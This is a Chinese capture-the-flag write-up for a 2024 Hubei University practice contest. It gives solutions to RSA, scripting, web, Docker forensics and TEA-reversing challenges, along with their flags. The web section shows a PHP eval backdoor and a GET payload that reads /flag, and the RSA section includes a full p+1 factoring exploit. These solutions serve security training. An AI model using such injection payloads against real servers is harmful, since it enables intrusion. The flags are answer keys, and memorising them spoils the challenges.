2024湖北大学新星杯实践能力赛模拟赛--HUBU Lumia-lgy

Crypto

RSA1

题目

from Crypto.Util.number import *  
from random import choice  
  
flag = b'HUBUCTF{*********}'  
  
def getMyPrime(nbits):  
    while True:  
        p = 1  
        while p.bit_length() <= nbits:  
            p *= choice(sieve_base)  
  
        if isPrime(p - 1):  
            return p - 1  
  
p = getMyPrime(256)  
q = getMyPrime(256)  
  
n = p * q  
e = 65537  
m = bytes_to_long(flag)  
  
c = pow(m, e, n)  
  
print(f'n = {n}')  
print(f'e = {e}')  
print(f'c = {c}')

EXP

from Crypto.Util.number import *  
from gmpy2 import *  
from itertools import count  
  
n = 49477205905276018461193760143321235674254657389367935349221550128756764803066923541953570697534461841227411236102856450247727093888328851791815868286654088989  
e = 65537  
c = 40829191169454641653742208868263678329711201999557850648545214380288291115229681128905970370644621857789607484861866342877966795556981583101810911938268305784  
  
def mlucas(v, a, n):  
    v1, v2 = v, (v ** 2 - 2) % n  
    for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == "0" else (  
        (v1 * v2 - v) % n, (v2 ** 2 - 2) % n)  
    return v1  
  
def primegen():  
    yield 2  
    yield 3  
    yield 5  
    yield 7  
    yield 11  
    yield 13  
    ps = primegen()  # yay recursion  
    p = ps.__next__() and ps.__next__()  
    q, sieve, n = p ** 2, {}, 13  
    while True:  
        if n not in sieve:  
            if n < q:  
                yield n  
            else:  
                next, step = q + 2 * p, 2 * p  
                while next in sieve:  
                    next += step  
                sieve[next] = step  
                p = ps.__next__()  
                q = p ** 2  
        else:  
            step = sieve.pop(n)  
            next = n + step  
            while next in sieve:  
                next += step  
            sieve[next] = step  
        n += 2  
  
def ilog(x, b):  # greatest integer l such that b**l <= x.  
    l = 0  
    while x >= b:  
        x /= b  
        l += 1  
    return l  
  
def attack(n):  
    for v in count(1):  
        for p in primegen():  
            e = ilog(isqrt(n), p)  
            if e == 0:  
                break  
            for _ in range(e):  
                v = mlucas(v, p, n)  
            g = gcd(v - 2, n)  
            if 1 < g < n:  
                return int(g), int(n // g)  # g|n  
            if g == n:  
                break  
  
p, q = attack(n)  
  
  
phi = (p-1)*(q-1)  
d = invert(e, phi)  
m = powmod(c, d, n)  
print(long_to_bytes(m))

flag:b'HUBUCTF{c96c39df-b4e5-403e-9efc-c5540835b96d}'

Misc

SpeedMath

![[Pasted image 20241123151547.png]]写出自动化解题脚本：

import socket  
import re  
import time  
  
# 设置服务器信息  
HOST = 'challenge.hubuctf.cn'  # 服务器地址  
PORT = 31382  # 端口号  
  
  
def solve_math_question(question):  
    # 提取数学表达式中的两个数字  
    match = re.search(r"(\d+)\s*([+\-*/])\s*(\d+)", question)  
    if match:  
        num1 = int(match.group(1))  
        operator = match.group(2)  
        num2 = int(match.group(3))  
  
        if operator == '+':  
            return num1 + num2  
        elif operator == '-':  
            return num1 - num2  
        elif operator == '*':  
            return num1 * num2  
        elif operator == '/':  
            return num1 // num2  # 整数除法  
    return None  
  
  
def main():  
    # 创建与服务器的连接  
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:  
        s.connect((HOST, PORT))  
  
        while True:  
            # 从服务器读取问题  
            data = s.recv(1024).decode()  
            print(f"Received from server: {data}")  # 打印出从服务器接收到的内容  
  
            # 检查是否包含 flag            flag_match = re.search(r'flag\{.*\}', data)  
            if flag_match:  
                print(f"Flag found: {flag_match.group()}")  
                break  
  
            # 如果问题没有“Question”就停止  
            if "Question" not in data:  
                print("No more questions.")  
                break  
  
            # 提取问题并计算答案  
            question = re.search(r'Question \d+: (.+?) =', data)  
            if question:  
                question_text = question.group(1)  # 获取数学题文本  
                answer = solve_math_question(question_text)  
  
                if answer is not None:  
                    print(f"Answering: {answer}")  
                    # 发送答案  
                    s.sendall(f"{answer}\n".encode())  
  
            # 增加一个非常小的等待时间来避免过多请求导致超时  
            time.sleep(0.1)  # 只需要非常短的时间间隔  
  
  
if __name__ == '__main__':  
    main()

![[Pasted image 20241123151730.png]]

Web
ez_eval

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
$hubu = $_GET['hubu'];  
  
eval($hubu);  
  
?>

http://challenge.hubuctf.cn:32204/?hubu=echo file_get_contents('/flag');
![[Pasted image 20241123152112.png]]
Docker Forensic
拉取镜像：
docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic
（Docker Image保存为tar包）
![[Pasted image 20241123144109.png]]
将sha256解压到layers文件夹
![[Pasted image 20241123143948.png]]发现flag.txt盐值加密
![[Pasted image 20241123143838.png]]
在tmp中找到password.txt文件
cat发现
HUBUCTF{Fake_flag}

echo -n "HUBUCTF{Fake_flag}" | xxd -p
485542554354467b46616b655f666c61677d
echo -n "😕;..%.." | xxd -p
3a2f3b2e2e252e2e
![[Pasted image 20241123143914.png]]

Reverse

V我50请你喝茶

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char *v4; // rcx
  __m128i si128; // [rsp+20h] [rbp-19h] BYREF
  int Buf2[8]; // [rsp+30h] [rbp-9h] BYREF
  __int16 v8; // [rsp+50h] [rbp+17h]
  __int128 Buf1; // [rsp+58h] [rbp+1Fh] BYREF
  __int128 v10[2]; // [rsp+68h] [rbp+2Fh] BYREF
  __int16 v11; // [rsp+88h] [rbp+4Fh]
 
  Buf2[0] = 778273437;
  Buf1 = 0i64;
  memset(v10, 0, sizeof(v10));
  v11 = 0;
  Buf2[1] = -1051836401;
  si128 = _mm_load_si128((const __m128i *)&xmmword_1400022B0);
  Buf2[2] = -1690714183;
  Buf2[3] = 1512016660;
  Buf2[4] = 1636330974;
  Buf2[5] = 1701168847;
  Buf2[6] = -1626976412;
  Buf2[7] = 594166774;
  v8 = 32107;
  sub_140001010("nice tea!\n> ");
  sub_140001064("%50s");
  sub_1400010B4(&Buf1, &si128);
  sub_1400010B4((char *)&Buf1 + 8, &si128);
  sub_1400010B4(v10, &si128);
  sub_1400010B4((char *)v10 + 8, &si128);
  v3 = memcmp(&Buf1, Buf2, 0x22ui64);
  v4 = "wrong...";
  if ( !v3 )
    v4 = "Congratulations!";
  sub_140001010(v4);
  return 0;
}

重命名很重要

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char *v4; // rcx
  __m128i si128; // [rsp+20h] [rbp-19h] BYREF
  int Buf2[8]; // [rsp+30h] [rbp-9h] BYREF
  __int16 v8; // [rsp+50h] [rbp+17h]
  __int128 Buf1; // [rsp+58h] [rbp+1Fh] BYREF
  __int128 v10[2]; // [rsp+68h] [rbp+2Fh] BYREF
  __int16 v11; // [rsp+88h] [rbp+4Fh]
 
  Buf2[0] = 778273437;
  Buf1 = 0i64;
  memset(v10, 0, sizeof(v10));
  v11 = 0;
  Buf2[1] = -1051836401;
  si128 = _mm_load_si128((const __m128i *)&xmmword_7FF7A09122B0);
  Buf2[2] = -1690714183;
  Buf2[3] = 1512016660;
  Buf2[4] = 1636330974;
  Buf2[5] = 1701168847;
  Buf2[6] = -1626976412;
  Buf2[7] = 594166774;
  v8 = 32107;
  printf("nice tea!\n> ");
  scanf("%50s", &Buf1);
  tea((unsigned int *)&Buf1, si128.m128i_i32);
  tea((unsigned int *)&Buf1 + 2, si128.m128i_i32);
  tea((unsigned int *)v10, si128.m128i_i32);
  tea((unsigned int *)v10 + 2, si128.m128i_i32);
  v3 = memcmp(&Buf1, Buf2, 0x22ui64);
  v4 = "wrong...";
  if ( !v3 )
    v4 = "Congratulations!";
  printf(v4);
  return 0;
}

加密部分

__int64 __fastcall tea(unsigned int *a1, int *a2)
{
  int v2; // ebx
  int v3; // r11d
  int v4; // edi
  int v5; // esi
  int v6; // ebp
  unsigned int v7; // r9d
  __int64 v8; // rdx
  unsigned int v9; // r10d
  __int64 result; // rax
 
  v2 = *a2;
  v3 = 0;
  v4 = a2[1];
  v5 = a2[2];
  v6 = a2[3];
  v7 = *a1;
  v8 = 32i64;
  v9 = a1[1];
  do
  {
    v3 -= 1412567261;
    v7 += (v3 + v9) ^ (v2 + 16 * v9) ^ (v4 + (v9 >> 5));
    result = v3 + v7;
    v9 += result ^ (v5 + 16 * v7) ^ (v6 + (v7 >> 5));
    --v8;
  }
  while ( v8 );
  *a1 = v7;
  a1[1] = v9;
  return result;
}

由加密部分得知key为4位

key[4] =

简单的tea加密

每次加密两个，刚好加密4次

写出解密脚本

#include<stdio.h>
void decrypt(unsigned int* a1, long long* a2)
{
	int v2; // ebx
	long long v3; // r11d
	int v4; // edi
	int v5; // esi
	int v6; // ebp
	unsigned int v7; // r9d
	int v8; // rdx
	unsigned int v9; // r10d
 
	v2 = *a2;
	v3 = 0;
	v4 = a2[1];
	v5 = a2[2];
	v6 = a2[3];
	v7 = *a1;
	v8 = 32;
	v9 = a1[1];
	v3 = -(1412567261 * 32);
	do
	{
		v9 -= (v3 + v7) ^ (v5 + 16 * v7) ^ (v6 + (v7 >> 5));
		v7 -= (v3 + v9) ^ (v2 + 16 * v9) ^ (v4 + (v9 >> 5));
		v3 += 1412567261;
		--v8;
	} while (v8);
	*a1 = v7;
	a1[1] = v9;
}
 
int main()
{
	long long key[4] = { 0x12345678,0x23456789,0x34567890,0x45678901 };
	unsigned int Buf2[8] = { 0 };
	Buf2[0] = 778273437;
	Buf2[1] = -1051836401;
	Buf2[2] = -1690714183;
	Buf2[3] = 1512016660;
	Buf2[4] = 1636330974;
	Buf2[5] = 1701168847;
	Buf2[6] = -1626976412;
	Buf2[7] = 594166774;
	for (int i = 0; i < 8; i += 2)
	{
		decrypt(Buf2 + i, key);
	}
	char* p = (char*)Buf2;
	for (int j = 0; j < 8 * 4; j++)
	{
		printf("%c", *(p + j));
	}
	printf("k}");
}

flag : HUBUCTF{Tea_15_4_v3ry_h3a1thy_drlnk}